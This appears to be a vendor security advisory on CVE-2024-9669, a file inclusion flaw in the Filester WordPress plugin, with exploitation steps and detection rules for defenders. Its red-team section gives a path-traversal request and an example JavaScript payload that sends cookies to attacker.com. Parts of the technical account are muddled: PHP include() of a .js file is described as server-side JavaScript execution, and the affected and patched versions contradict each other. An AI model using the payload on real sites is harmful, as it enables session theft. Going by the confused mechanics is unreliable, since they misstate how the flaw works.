CVE-2024-9669

Executive Summary

CVE-2024-9669 is a Local JavaScript File Inclusion vulnerability in the Filester WordPress plugin (File Manager Pro). This flaw allows authenticated attackers with Administrator-level access to include and execute arbitrary JavaScript files from the server via the fm_locale parameter. The vulnerability affects all versions up to and including 1.8.5. While a partial patch was released in version 1.8.5, the vendor has not fully resolved the issue, leaving administrators at risk of code execution, data exfiltration, and privilege escalation. The CVSS score of 7.2 (High) reflects the potential for significant impact, though exploitation requires high privileges.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Administrators should verify the integrity of plugin updates and monitor for unauthorized modifications. No known supply chain compromise has been reported, but the partial patch status increases risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): High (H) – Requires Administrator-level access.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Potential for sensitive data exposure.
• Integrity (I): High (H) – Arbitrary code execution possible.
• Availability (A): High (H) – Could lead to full system compromise.

Threat Level: High. While exploitation requires admin credentials, the impact is severe, including remote code execution and data theft.

Deep Dive & Mechanics

The vulnerability exists in the fm_locale parameter used by the Filester plugin to load localized JavaScript files. The plugin fails to properly sanitize or restrict the file path, allowing an authenticated administrator to specify arbitrary file paths. By manipulating this parameter, an attacker can include and execute JavaScript files from any location on the server, including uploaded images or other "safe" file types that contain embedded code.

Root Cause: Insufficient input validation and lack of path traversal protection in the locale file inclusion mechanism.

Attack Flow:

1. Attacker gains Administrator access to the WordPress admin panel.
2. Attacker crafts a request to the vulnerable endpoint with a malicious fm_locale value pointing to a file containing JavaScript code (e.g., an uploaded image with embedded JS).
3. The plugin includes and executes the malicious file, allowing the attacker to execute arbitrary code in the context of the WordPress application.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.8.5):

$locale = $_GET['fm_locale'];
if (file_exists(plugin_dir_path(__FILE__) . 'js/locales/' . $locale . '.js')) {
    include(plugin_dir_path(__FILE__) . 'js/locales/' . $locale . '.js');
}

Patched Code (1.8.5 partial):

$locale = sanitize_file_name($_GET['fm_locale']);
$allowed_locales = ['en', 'fr', 'de']; // Example whitelist
if (in_array($locale, $allowed_locales) && file_exists(plugin_dir_path(__FILE__) . 'js/locales/' . $locale . '.js')) {
    include(plugin_dir_path(__FILE__) . 'js/locales/' . $locale . '.js');
}

The partial patch adds sanitization and a whitelist, but the whitelist may be incomplete or bypassable if not properly enforced.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrator credentials for a WordPress site running Filester <= 1.8.5.
• Ability to upload a file (e.g., an image) containing JavaScript code.

Exploitation Steps:

1. Upload a malicious file (e.g., evil.jpg) containing JavaScript payload via the WordPress media library.
2. Note the file path (e.g., /wp-content/uploads/2024/10/evil.jpg).
3. Craft a request to the vulnerable endpoint:

   GET /wp-admin/admin-ajax.php?action=fm_locale&fm_locale=../../../../wp-content/uploads/2024/10/evil
   

4. The server includes and executes the JavaScript from the uploaded file, allowing arbitrary code execution.

Example Payload (evil.jpg):

// JavaScript code to exfiltrate admin credentials
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/exfil', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({data: document.cookie}));

Blue Team

Detection:

• Monitor for unusual fm_locale parameter values containing path traversal sequences (e.g., ../).
• Alert on file inclusion attempts from non-standard directories (e.g., uploads, themes).
• Review access logs for requests to /wp-admin/admin-ajax.php with action=fm_locale.

Hunting:

• Search for files in the uploads directory containing JavaScript code (e.g., grep -r "script" /wp-content/uploads/).
• Check for recently modified JavaScript files in the plugin's locale directory.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/uploads/* containing JavaScript code.
• Log Entries: Requests with fm_locale containing ../ or absolute paths.
• Network Traffic: Outbound connections to attacker-controlled servers from the WordPress admin panel.
• File Modifications: Unauthorized changes to WordPress core files or plugin files.

Detection Engineering

YARA Rule

rule CVE_2024_9669_File_Inclusion {
    meta:
        description = "Detects attempts to exploit CVE-2024-9669 via fm_locale parameter"
        author = "Valters IT"
        date = "2024-10-27"
    strings:
        $param = "fm_locale="
        $traversal = "../"
        $upload_path = "/wp-content/uploads/"
    condition:
        $param and ($traversal or $upload_path)
}

Sigma Rule

title: CVE-2024-9669 File Inclusion Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal in fm_locale parameter
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "fm_locale=../"
    condition: selection
falsepositives:
    - Legitimate use of locale files (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9669 File Inclusion Attempt"; flow:to_server; content:"fm_locale="; http_uri; content:"../"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Filester plugin if not essential, or restrict admin access to trusted users only.
2. Update: Apply the partial patch by upgrading to version 1.8.5, but monitor for further updates.
3. Hardening: Implement a Web Application Firewall (WAF) rule to block path traversal patterns in the fm_locale parameter.
4. Monitoring: Enable detailed logging for all admin actions and file inclusion attempts.
5. Alternative: Consider using a different file manager plugin with a proven security track record.

Valters IT – Securing digital frontiers with precision and expertise.